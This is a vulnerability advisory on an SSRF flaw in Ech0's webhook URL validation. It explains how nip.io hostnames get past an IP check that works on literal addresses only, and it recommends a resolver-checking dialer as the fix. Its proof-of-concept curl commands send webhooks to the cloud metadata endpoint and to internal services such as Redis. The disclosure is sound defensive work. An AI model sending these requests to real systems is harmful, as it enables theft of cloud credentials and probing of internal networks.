Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation

Summary

The validateWebhookURL function in webhook_setting_service.go attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via net.ParseIP(). Hostnames that DNS-resolve to private IPs (e.g., 169.254.169.254.nip.io, 10.0.0.1.nip.io) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.

Details

The vulnerability is in validateWebhookURL (internal/service/setting/webhook_setting_service.go:180-199):

func validateWebhookURL(rawURL string) error {
    parsed, err := url.Parse(rawURL)
    // ...
    host := strings.ToLower(parsed.Hostname())
    if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") {
        return errors.New(commonModel.INVALID_WEBHOOK_URL)
    }
    if ip := net.ParseIP(host); ip != nil {  // <-- returns nil for hostnames
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||
            ip.IsLinkLocalUnicast() || ip.IsUnspecified() {
            return errors.New(commonModel.INVALID_WEBHOOK_URL)
        }
    }
    return nil  // hostname passes all checks unchecked
}

net.ParseIP("169.254.169.254.nip.io") returns nil because it is not a literal IP address. The entire private IP check block is skipped, and the function returns nil (valid).

Both HTTP clients that execute webhook requests use standard http.Client / http.Transport with no custom DialContext to verify resolved IPs:

• TestWebhook (webhook_setting_service.go:169): &http.Client{Timeout: 5 * time.Second}
• Dispatcher (dispatcher.go:51-58): &http.Client{...Transport: &http.Transport{...}} — no custom dialer

The Dispatcher.HandleObservation (dispatcher.go:67-81) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.

Execution flow:

1. Admin calls POST /api/webhook with URL http://169.254.169.254.nip.io/latest/meta-data/
2. CreateWebhook → validateWebhookURL → net.ParseIP returns nil → passes validation
3. Webhook stored in database with is_active: true
4. On any echo event → Dispatcher.HandleObservation → Dispatch → SendWithRetry → DNS resolves 169.254.169.254.nip.io to 169.254.169.254 → POST to cloud metadata endpoint

PoC

# Step 1: Create a webhook targeting cloud metadata via DNS rebinding
curl -X POST http://localhost:8080/api/webhook \
  -H 'Authorization: Bearer <admin-jwt>' \
  -H 'Content-Type: application/json' \
  -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}'

# Step 2: Trigger SSRF via test endpoint
curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \
  -H 'Authorization: Bearer <admin-jwt>'

# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).
# net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks.
# Delivery status and error messages reveal connectivity information.

# For internal network scanning:
# http://10.0.0.1.nip.io:8080/
# http://127.0.0.1.nip.io:6379/

# With is_active:true, every application event automatically dispatches
# to the SSRF target via Dispatcher.HandleObservation (no re-validation).

Impact

• Cloud metadata access: An admin can reach cloud instance metadata endpoints (AWS 169.254.169.254, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.
• Internal network probing: Webhooks can scan internal services by observing delivery status (success/failed) and error messages, mapping internal network topology.
• Persistent SSRF: Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.
• Scope escalation: Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.

Recommended Fix

Replace the hostname-only check with a custom net.Dialer that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:

import "net"

func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {
    host, port, err := net.SplitHostPort(addr)
    if err != nil {
        return nil, err
    }
    ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
    if err != nil {
        return nil, err
    }
    for _, ip := range ips {
        if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||
            ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {
            return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP)
        }
    }
    dialer := &net.Dialer{Timeout: 5 * time.Second}
    return dialer.DialContext(ctx, network, addr)
}

// Use in both TestWebhook and Dispatcher:
client := &http.Client{
    Timeout: 5 * time.Second,
    Transport: &http.Transport{
        DialContext: safeDialContext,
    },
}

This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.